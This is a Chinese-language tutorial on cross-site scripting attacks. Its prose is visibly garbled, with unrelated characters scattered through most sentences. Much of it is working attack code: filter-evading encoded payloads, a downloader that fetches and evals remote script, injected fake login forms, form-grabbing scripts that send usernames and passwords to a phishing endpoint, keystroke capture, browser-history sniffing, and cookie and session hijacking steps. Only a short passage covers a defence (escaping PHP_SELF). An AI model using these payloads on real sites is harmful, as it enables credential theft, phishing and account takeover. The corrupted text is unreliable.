什么是XSS目锭?
跨站腳本(Cross-Site Scripting空执,XSS)是一種經(jīng)常出現(xiàn)在 Web 應(yīng)用程序中的計(jì)算機(jī)安全漏 洞阱穗,是由于 Web 應(yīng)用程序?qū)τ脩舻妮斎脒^濾不足而產(chǎn)生的望拖。攻擊者利用網(wǎng)站漏洞把惡意的腳本 代碼(通常包括 HTML 代碼和客戶端 Javascript 腳本)注入到網(wǎng)頁之中无拗,當(dāng)其他用戶瀏覽這些網(wǎng) 頁時(shí)笼呆,就會(huì)執(zhí)行其中的惡意代碼熊响,對(duì)受害用戶可能采取 Cookie 資料竊取、會(huì)話劫持诗赌、釣魚欺騙 等各種攻擊耘眨。
由于和另一種網(wǎng)頁技術(shù)——層疊樣式表(Cascading Style Sheets,CSS)的縮寫一樣境肾,為了防 止混淆剔难,故把原本的 CSS 簡(jiǎn)稱為 XSS。 通常情況下奥喻,我們既可以把跨站腳本理解成一種 Web 安全漏洞偶宫,也可以理解成一種攻擊手段。
XSS攻擊流程
XSS 跨站腳本攻擊本身對(duì) Web 服務(wù)器沒有直接危害环鲤,它借助網(wǎng)站進(jìn)行傳播纯趋,使網(wǎng)站的大量用戶 受到攻擊。攻擊者一般通過留言、電子郵件或其他途徑向受害者發(fā)送一個(gè)精心構(gòu)造的惡意 URL吵冒,當(dāng) 受害者在 Web 瀏覽器中打開該 URL 的時(shí)侯纯命,惡意腳本會(huì)在受害者的計(jì)算機(jī)上悄悄執(zhí)行,流程如圖
XSS 漏洞的危害
(1)網(wǎng)絡(luò)釣魚痹栖,包括盜取各類用戶賬號(hào)亿汞;
(2)竊取用戶 cookies 資料,從而獲取用戶隱私信息揪阿,或利用用戶身份進(jìn)一步對(duì)網(wǎng)站執(zhí)行操 作疗我;
(3)劫持用戶(瀏覽器)會(huì)話,從而執(zhí)行任意操作南捂,例如進(jìn)行非法轉(zhuǎn)賬吴裤、強(qiáng)制發(fā)表日志、發(fā) 送電子郵件等溺健;
(4)強(qiáng)制彈出廣告頁面麦牺、刷流量等;
(5)網(wǎng)頁掛馬鞭缭;
(6)進(jìn)行惡意操作剖膳,例如任意篡改頁面信息、刪除文章等缚去;
(7)進(jìn)行大量的客戶端攻擊潮秘,如 DDoS 攻擊;
(8)獲取客戶端信息易结,例如用戶的瀏覽歷史枕荞、真實(shí) IP、開放端口等搞动;
(9)控制受害者機(jī)器向其他網(wǎng)站發(fā)起攻擊躏精;
(10)結(jié)合其他漏洞,如 CSRF 漏洞鹦肿,實(shí)施進(jìn)一步作惡矗烛;
(11)提升用戶權(quán)限,包括進(jìn)一步滲透網(wǎng)站箩溃;
(12)傳播跨站腳本蠕蟲等瞭吃;
XSS攻擊之利用字符編碼
HTML 標(biāo)簽中的某些屬性值可以使用&#ASCII 方式進(jìn)行編碼改寫,這種 XSS 轉(zhuǎn)碼支持十進(jìn)制和十六進(jìn)制形式涣旨。
1.工具轉(zhuǎn)碼:使用在線工具將輸入內(nèi)容轉(zhuǎn)碼
2.函數(shù)轉(zhuǎn)碼:
在 JavaScript 中有一個(gè) eval()函數(shù)歪架,該函數(shù)可計(jì)算字符串,并執(zhí)行其中的 JavaScript
代碼霹陡,如下所示:
<script> eval("alert('XSS')"); </script>
我們可以使用\連接十六進(jìn)制字符串和蚪,然后使用 eval()函數(shù)執(zhí)行十六進(jìn)制字符串形式的腳本止状, 如對(duì) alert('XSS')進(jìn)行十六進(jìn)制轉(zhuǎn)碼后得到:
\61\6c\65\72\74\28\27\58\53\53\27\29
完整如下:
<script> eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29"); </script>
3.函數(shù)結(jié)合轉(zhuǎn)碼:
string.formcharcode()用于將字符轉(zhuǎn)為 ASCII 值
結(jié)合使用 eval()和 String.fromCharCode()函數(shù)后變成:
<embed src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
4.樣式表轉(zhuǎn)碼
可以對(duì) background 的屬性值進(jìn)行十六進(jìn)制字符串形式轉(zhuǎn)換:
<style>
BODY {
background: \75\72\6c\28\68\74\74\70\3a\2f\2f\31\32\37\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\6 6\29 }
</style>
<div style="xss:expression(alert(1));" ></div>
<DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\ 0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\002 9">
style 屬性中的 javascript、expression 等字符一般會(huì)被程序過濾攒霹,但經(jīng)過十六進(jìn)制編碼后則可 以逃避過濾
5.JScript Encode 和 VBScript Encode
腳本加密的兩種形式:JScript 和 VBScript.
經(jīng)過加密的腳本怯疤,能在 IE下正常運(yùn)行,在其他瀏覽器下則不識(shí)別催束。
如 alert(1)使用 JScript Encode 加密的結(jié)果為:
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
經(jīng) XSS Expliot 后變?yōu)椋?br>
<script language="JScript.Encode"> #@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ </script>
VBScript.Encode :
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a>
<iframe onload=JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@>
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
復(fù)雜的
<div style="\000000000000000000000078\000000000000000000000073s:e\xp/*jnv*/\0072\0065ssion(window.x?0:(alert(/XSS/),window.x= 1));"></div>
Shellcode
所謂的 Shellcode集峦,最初是溢出程序和蠕蟲病毒的核心,實(shí)際上是指利用一個(gè)漏洞時(shí)所執(zhí)行 的代碼泣崩。在 XSS 跨站腳本中少梁,是指由 JavaScript 等腳本編寫的 XSS 利用代碼洛口。
【Exploit】
Exploit 的英文意思就是利用矫付,在黑客眼里就是漏洞利用,通常表示完整編寫好的漏洞利用 工具(或程序)第焰,具有一定的攻擊性买优。 Exploit 很容易和 Shellcode 混淆,所以需要記住一點(diǎn):Exploit 往往包含了 Shellcode挺举。
【POC】
即 Proof of Concept 的縮寫杀赢,是一段證明漏洞存在的程序代碼片段。
在傳統(tǒng) XSS 的運(yùn)用中湘纵,Shellcode 一般是直接寫進(jìn)頁面中執(zhí)行脂崔,不過實(shí)際環(huán)境中可能會(huì)遇到 重重阻撓,比如服務(wù)器端程序的過濾梧喷、輸入字符有長度限制等砌左,所以,攻擊者往往會(huì)把 Shellcode 寫到遠(yuǎn)程服務(wù)器上铺敌,然后使用<script>等標(biāo)簽對(duì)其進(jìn)行調(diào)用汇歹,或者使用一些本地存儲(chǔ)對(duì)象對(duì)其進(jìn) 行存儲(chǔ)和調(diào)用等。
在 XSS 中調(diào)用 Shellcode 有多種方式偿凭。
1. 動(dòng)態(tài)調(diào)用遠(yuǎn)程 JavaScript
2.使用 window.location.hash
3. XSS Downloader
一
payload: <script src="http://localhost/XSS.js"></script>
腳本:動(dòng)態(tài)調(diào)用
var s=document.createElement("script");
s.src="http://localhost/XSS.js";
document.getElementsByTagName("head")[0].appendChild(s);
第一行代碼使用 createElement()函數(shù)創(chuàng)建一個(gè)新元素——script产弹。
第二行代碼把<script>的 src 屬性設(shè)置成 “http://...”, xss.js 里面寫有 Shellcode 代碼弯囊。
第三行代碼使用 getElementsByTagName()函數(shù)查找并返回文檔中第一個(gè)元素(因?yàn)樗饕秊?0)痰哨, 然后利用 appendChild()函數(shù)調(diào)用元素參數(shù) s,追加指定的節(jié)點(diǎn)到子節(jié)點(diǎn)列表的最后一個(gè)匾嘱。
簡(jiǎn)單 來說 斤斧,這 段 腳本 的作 用就 是 動(dòng)態(tài) 創(chuàng)建 了一 個(gè)<script>標(biāo) 簽 ,其 src 屬性 指向 http://...奄毡,然后把引用 JavaScript 的代碼插入到網(wǎng)頁的<head>標(biāo)簽后折欠。
二
payload:localhost/XSS/test.php?sort=<script>eval(location.hash.substr(1))</script>#alert('xss')
substr()可在字符串中抽取從 start 下標(biāo)(這里是 1)開始的指定數(shù)目的字符,所以 location.hash.substr(1) 的作用是抽取“#”符號(hào)后面的字符,即 alert('xss')
eval()函數(shù)用來計(jì)算 某個(gè)字符串锐秦,并執(zhí)行其中的 JavaScript 代碼
eval(location.hash.substr(1))的功能就是執(zhí)行 Url的#之后的 JavaScript 代碼咪奖,
通過這個(gè)技巧,就能先把 Shellcode 寫到地址參數(shù)中再執(zhí)行
三
XSS Downloader:
將其存儲(chǔ)到網(wǎng)站的數(shù)據(jù)庫中酱床,包括網(wǎng) 頁信息羊赵、文章內(nèi)容、個(gè)人資料等地方扇谣,然后再把它們下載下來執(zhí)行昧捷。
簡(jiǎn)單地說,其實(shí)就是打造一個(gè) XSS downloader(XSS 下載器)罐寨,事先把 Shellcode 寫在網(wǎng)站 的某個(gè)頁面靡挥,再利用 XMLHTTP 控件向網(wǎng)站發(fā)送 HTTP 請(qǐng)求(POST 或 GET),然后執(zhí)行返回的 數(shù)據(jù)鸯绿。
POC復(fù)現(xiàn):
function XSS(){
a=new ActiveXObject('Microsoft.XMLHTTP');
a.Open('get','http://www.bug.com/11221.html',false);/
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
}
XSS();
第一行:定義一個(gè) XSS()函數(shù)跋破,該函數(shù)也就是調(diào)用 Shellcode 的主函數(shù)。
第二行:創(chuàng)建一個(gè) XMLHTTP 對(duì)象瓶蝴。
第三毒返、四行:向 http://www.bug.com/11221.html 發(fā)送一個(gè) HTTP 請(qǐng)求并獲取 HTTP 響應(yīng)。
第五行:獲取 responseText舷手,結(jié)果返回為字符串拧簸,把該變量賦值給 b 變量。
第六行:用 indexOf()函數(shù)計(jì)算 BOF|和|EOF 的位置男窟,再用 substring()函數(shù)方法取出字符串盆赤, 最后用 unescape()函數(shù)方法解碼執(zhí)行。
XSS釣魚方式
(1)XSS 重定向釣魚(XSS Redirect Phishing)
(2)HTML注入式釣魚(XSS HTML Inject Phishing)
(3)XSS 跨框架釣魚(Iframe Phishing)
(4)Flash 釣魚(Flash Phishing)
一
payload:
http:/.../index.php?search="'><script>document.location.href="http://..."</script>
二
payload:
http://www.bug.com/index.php?search=”’<html><head><title>login</title></head> <body><div style="text-align: center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/> <input name="login" /><br />Password:<br/><input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html>
這段代碼會(huì)在正常頁面中嵌入一個(gè) Form 表單,該表單可以覆蓋 原頁面顯示蝎宇,強(qiáng)迫用戶輸入賬號(hào)和密碼等信息弟劲。
三
這種方式是通過<Iframe>標(biāo)簽嵌入遠(yuǎn)程域的一個(gè)頁面實(shí)施釣魚
新建一個(gè)HTMLL文件:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<title>百度一下,你就知道 </title>
<body scroll="no">
<iframe name="myFrame" src="http://www.baidu.com" width="100%" height="100%" scrolling ="auto" frameborder="0" onload="this.style.height=document.body.clientHeight">
</iframe>
</body>
</head>
</html>
上述代碼會(huì)偽造一個(gè)和百度網(wǎng)頁類似的網(wǎng)頁姥芥,
payload:
http://.../index.php?search='><iframe src=“http://...” height="100%" width="100%"></iframe>
四
Flash 釣魚甚至不要求網(wǎng)站存在 XSS 漏洞兔乞,只要 攻擊者把精心構(gòu)造的 Flash 文件(比如一個(gè)假冒的登錄框)上傳到遠(yuǎn)程服務(wù)器,然后在目標(biāo)網(wǎng)站 中使用<object>或<embed>標(biāo)簽去引用 Flash 即可凉唐。
當(dāng)然庸追,F(xiàn)lash 本身也存在許多的安全漏洞,包括 XSS台囱、CSRF 和跨域等問題淡溯,而且 Flash 也有 內(nèi)置的編程語言——ActionScript。ActionScript 與 JavaScript簿训、服務(wù)端編程語言一樣都可以作為跨 站攻擊的一種輔助手段咱娶。
XSS高級(jí)釣魚技術(shù)
背景
黑客利用 XSS 漏洞可以竊取用戶會(huì)話的 Cookie米间,從而竊取網(wǎng)站用戶的隱私數(shù)據(jù),包括 MD5 密碼信息等膘侮。但是屈糊,如果網(wǎng)站使用了 Httponly 的 Cookie(將 Cookie 的屬性設(shè)置為“Httponly” 就可防止 Cookie被惡意JavaScript腳本存取)琼了,或無法通過 Cookie欺騙等方式侵入受害者的賬戶逻锐, 那么竊取用戶 Cookie 資料的方法就顯得英雄無用武之地。
這種情況下雕薪,黑客更青睞于直接獲取用戶的明文賬戶密碼信息昧诱。這時(shí)候就要用到一些高級(jí)的 XSS 釣魚技術(shù),而構(gòu)成這些技術(shù)的主要元素?zé)o非是我們所熟知的 DHTML所袁、JavaScript盏档、Ajax等。
實(shí)例一
<script>
Form = document.forms["userslogin"];
Form.onsubmit = function(){
var iframe = document.createElement("iframe");
iframe.style.display = "none";
alert(Form.user.value);
iframe.src = "http://127.0.0.1/....php?user="+Form.user.value + "&pass=" + Form.pass.value; document.body.appendChild(iframe);
}
</script>
這段代碼用來截取用戶在登錄頁面輸入的用戶名和密碼信息纲熏,然后提交給當(dāng)前創(chuàng)建的 PHP
腳本.
實(shí)例二
<script>
loginForm = document.forms[' userslogin '];
function parseData() {
var user = loginForm.user.value;
var pass = loginForm.pass.value;
saveData(username,password);
return true;
}
function saveData(username,password) {
var frame=document.createElement('iframe');
frame.src=" http://127.0.0.1/phishing.php?user=" + user + "&pass=" + pass; frame.style.display='none'; document.body.appendChild(frame);
}
loginForm.onsubmit = parseData;
</script>
這段代碼也會(huì)獲取和記錄用戶所提交的信息妆丘,同實(shí)例一锄俄。
劫持鏈接的onclick
for(i=0;i<document.links.length;i++)
{
document.links[i].onclick = hijack;
}
監(jiān)聽鍵盤的onkeydown
document.onkeydown=function(e)
{
if(!e)e=window.event;
try{
hijack();
}
catch(ex)
{ }
}
劫持表單的輸入框
document.onkeyup=function(){
document.forms['PassFormlogin'].onsubmit=function()
{ pwd = this.PassInputUsername0.value + '|' + this.PassInputPassword0.value;
log(escape(pwd));
}
}
JS遍歷 Form 表單元素
function grabber()
{
F = document.forms;
for(var j=0; j<F.length; ++j)
{
f = F[j]; for (i=0; i<f.length; ++i)
{
if (f[i].type.toLowerCase() == "password")
{
alert("Password:"+f[i].value)
} else if (f[i].type.toLowerCase() != "submit")
{
alert("Text:"+f[i].value)
}
}
}
} grabber();
JS捕獲用戶特定按鍵
<script>
function keyDown() {
var keycode = event.keyCode;
var realkey = String.fromCharCode(event.keyCode);
alert("按鍵碼: " + keycode + " 字符: " + realkey);
}
document.onkeydown = keyDown;
</script>
XSS History Hack
背景
對(duì)于網(wǎng)站上超級(jí)鏈接局劲,我們點(diǎn)擊后會(huì)發(fā)現(xiàn)顏色出現(xiàn)變化,那些沒發(fā)生顏色變化的正是我們沒有訪問過的奶赠。
一般來說鱼填,用戶每天都會(huì)瀏覽許多網(wǎng)頁,這些網(wǎng)頁 都會(huì)被瀏覽器記錄下來毅戈,除非用戶刻意清除苹丸,否則歷史 記錄將一直保存在本地計(jì)算機(jī)中。倘若攻擊者能獲取用 戶瀏覽器的歷史記錄或搜索信息苇经,將是一件十分危險(xiǎn)的 事赘理,攻擊者可以在此基礎(chǔ)上進(jìn)一步發(fā)起其他攻擊,如社 會(huì)工程學(xué)扇单。
作用
能獲取瀏覽器的某些歷史記錄商模,其原理就是利用 CSS 能定義訪問 過的和未訪問過的超級(jí)鏈接的樣式。由于 JavaScript 可以讀取任何元素的 CSS 信息蜘澜,自然能分辨 瀏覽器應(yīng)用了哪種樣式和用戶是否訪問過該鏈接施流。
POC
<html>
<body>
<H3>Visited</H3>
<ul id="visited"></ul>
<H3>Not Visited</H3>
<ul id="notvisited"></ul>
<script> var websites = [ "http://www.baidu.com/", "http://wwww.google.com/", "http://www.sina.com.cn/", "http://www.qq.com/", "http://www.163.com/", "http://www.sohu.com/", "http://www.playsec.com/", "http://hi.baidu.com/", "http://zhidao.baidu.com/",
"http://www.taobao.com/", "http://weibo.com/", ];
for (var i = 0; i < websites.length; i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
document.write('<style>');
document.write('#id' + i + ":visited {color: #FF0000;}");
document.write('</style>');
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue ("color"); document.body.removeChild(link);
if (color == "rgb(255, 0, 0)")
{
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else {
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('notvisited').appendChild(item);
}
}
</script>
</body>
</html>
代碼實(shí)現(xiàn)
將上述代碼保存到一個(gè)文檔中,使用火狐打開之后鄙信,我們可以看到Visited和Not Visited 兩部分瞪醋,分別羅列出來我們?cè)?jīng)訪問過的網(wǎng)站和沒有訪問過的網(wǎng)站。
出現(xiàn)這種效果的原因在于装诡,我們上述的代碼已經(jīng)預(yù)先的把用戶可能訪問的網(wǎng)站記錄下來银受,然后通過JS遍歷列表践盼,并利用getComputedStyle()的方法檢查相應(yīng)超級(jí)鏈接的style屬性,從而辨別出瀏覽器是否訪問過該網(wǎng)站宾巍。
$_SERVER[PHP_SELF]
<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<input type="hidden" name="submitted" value="1" />
<input type="submit" value="Submit!" /> </form>
將其保存宏侍,在php下運(yùn)行。
產(chǎn)生 XSS 漏洞的原因
php echo $_SERVER['PHP_SELF'];
這行代碼直接輸出 PHP_SELF 變量蜀漆,而該變量由用戶控制谅河。
如何規(guī)避
可以使用
htmlentities($_SERVER[‘PHP_SELF’])
來替代$_SERVER[‘PHP_SELF’]
, 這樣即使網(wǎng)址中包含惡意代碼确丢,也會(huì)被轉(zhuǎn)換為用于顯示的 HTML代碼绷耍,而不是被直接嵌入 HTML 代碼中執(zhí)行。
注意:除了 PHP_SELF 之外鲜侥,其他的$_SERVER
變量也可能存在類似漏洞褂始,比 如 SCRIPT_URI、QUERY_STRING描函、PATH_INFO 等崎苗,在使用之前一定要先進(jìn)行 htmlentities 之類 的轉(zhuǎn)換。
變量覆蓋
(1)register_globals=on舀寓。
(2)extract()胆数。
(3)遍歷初始化變量。
一
背景
register_globals是php.ini里的一個(gè)配置互墓,這個(gè)配置影響到PHP如何接受傳遞過來的參數(shù)必尼,當(dāng)register_globals打開以后,各種變量都可以被重新注冊(cè)篡撵,包括來自HTML的表單請(qǐng)求變量判莉,再加上PHP在使用變量之前不需要進(jìn)行初始化,這便容易寫出不安全的代碼育谬,然而我們只需要開啟它便可以達(dá)到我們的攻擊目的券盅。
操作
開啟r_g只需要修改PHP的配置文件php.in,在該文件中找到r_g的屬性膛檀,然后把register——globals=Off改為register_globals=on即可锰镀。
示例
<?php
echo $a;
?>
這段代碼的輸出很簡(jiǎn)單,但是$a
事先沒有初始化宿刮,訪問localhost/test.php?a=XSS
便能實(shí)現(xiàn)攻擊互站。
二
背景
extract()函數(shù),它用來將變量從數(shù)組導(dǎo)入到當(dāng)前的符號(hào)表中
<?php
$a=1;
extract($_GET);
echo $a;
?>
$a
已經(jīng)被初始化僵缺,如果直接訪問該頁面胡桃,輸出的值為1.添加參數(shù)a后,localhost/test.php?a=XSS
,頁面輸出的XSS磕潮,$a
被重新賦值翠胰,因?yàn)槭褂昧?code>extract($_GET);
這行代碼是使用extract()覆蓋所有以GET方法獲取的變量容贝,即localhost/test.php?a=<script>alert(/XSS/)</script>
能產(chǎn)生一個(gè)XSS。
三
背景
使用foreach()函數(shù)模擬全局操作
$chs=' ';
if($_POST && $charset != 'utf-8')
{
$chs=new Chinese('UTF-8',$charset);
foreach($_POST as $key => $value)
{
$$key=$chs->Convert($value);
}
unset($chs);
}
簡(jiǎn)化之后如下:
<?php
$a=1;
foreach($_GET as $key =>$value)
{
$$key =$ value;
}
print $a;
print $b;
?>
payload:
localhost/test.php?a=XSS&b=<h1>XSS</h1>
字符集編碼隱患
localhost/test.php?a=xss%d5';alert(0)//
$a
為動(dòng)態(tài)內(nèi)容之景,如果直接把xss';alert(0)//賦給$a
localhost/test.php?a=xss';alert(0)//
則會(huì)返回:
<script>x='xss\';alert(0)//';y='[user_input]';</script>
Cookie
背景
用戶在瀏覽網(wǎng)站時(shí)斤富,該網(wǎng)站可能會(huì)向電腦寫入一個(gè)很小的文件,這個(gè)文件記錄了用戶的ID锻狗,Password,Time等等满力,這個(gè)文件就是Cookie文件,當(dāng)我們?cè)俅卧L問該網(wǎng)站時(shí)轻纪,瀏覽器會(huì)自動(dòng)檢測(cè)存儲(chǔ)油额,,將本地的Cookie發(fā)送給網(wǎng)站刻帚,網(wǎng)站通過讀取Cookie來獲取用戶的信息潦嘶,做出相應(yīng)的動(dòng)作,例如我們經(jīng)吵缰冢看到的掂僵,直接登陸,除了在瀏覽器內(nèi)存中保存的Cookie之外顷歌,大部分的Cookie會(huì)保存在本地的硬盤锰蓬。
XSS基本測(cè)試
(1)查找HTML顯示的標(biāo)簽,查看是否在顯示區(qū)域
(2)如果不在衙吩,則
<script>alert((document.cookie)</script>:普通注入
"/><script>alert(document.cookie)</script>:閉合標(biāo)簽注入
</textarea>'"><script>alert(document.cookie)</script>:閉合標(biāo)簽注入
讀寫cookie
public class CookieTest extends HttpServlet
{
public void doGet(HttpServletRequest request,HttpServletResponse reponse) throws ServletException,IOException
{
this.doPost(request,reponse);
}
public void doPost(HttpServletRequest request,HttpServletReponse reponse) throws ServletExeption,IOException
{
PrintWriter out =response.getWriter();
Cookie c[]=request.getCookies();
if(c!=null)
{
for (int i=0;i<c.length;i++)
{
Cookie cookie=c[i];
out.print("Welcome"+cookie.getValue());
}
}else
{
String username=request.getParameter("username");
if(username!=null&&!"".equals(username))
{
Coolie ck=new Cookie("Name",username);
reponse.addCookie(ck);
}
}
}
}
Burp
進(jìn)行抓包互妓,我們會(huì)發(fā)現(xiàn)Cookie后會(huì)帶有幾行密文,這就是WEB服務(wù)器向客戶端發(fā)送的Cookie坤塞,當(dāng)攻擊者拿到這段Cookie,就可以使用當(dāng)前用戶的身份登陸澈蚌。
使用Burp,add Request header摹芙,在Match輸入框內(nèi)輸入要替換的請(qǐng)求頭,這里為正則表達(dá)宛瞄,找到該框
進(jìn)行add添加MAtch進(jìn)行匹配,MATCH:^Cookie*$,REPLACE:為自己要設(shè)置的Cookie浮禾,設(shè)置完,再次請(qǐng)求份汗,發(fā)現(xiàn)Cookie已經(jīng)變成我們剛才設(shè)置的盈电,繞過了登陸。
SESSION
對(duì)于安全性來說SESSION的安全性比Cookie高杯活,對(duì)于構(gòu)造匆帚,我們只需在HTML代碼中添加
<script type='text/javascript'> document.cookie='PHPSESSID=123456789' </script>
類似于這樣即可,重新發(fā)送旁钧,我們會(huì)發(fā)現(xiàn)我們 所構(gòu)造的SESSION合法吸重。
如何拿到session
session是可以儲(chǔ)存在Cookie中互拾,相當(dāng)于臨時(shí)cookie,它既可以通過抓包的方式展現(xiàn)嚎幸,也可以通過構(gòu)造payload
.../user.action;jsessionid=...
颜矿,SESSION是與瀏覽器之間的一次會(huì)話,它用來區(qū)分不同的用戶嫉晶,當(dāng)瀏覽器關(guān)閉后骑疆,會(huì)隨之消失,故我們需要在瀏覽器與服務(wù)器會(huì)話結(jié)束之前拿到替废。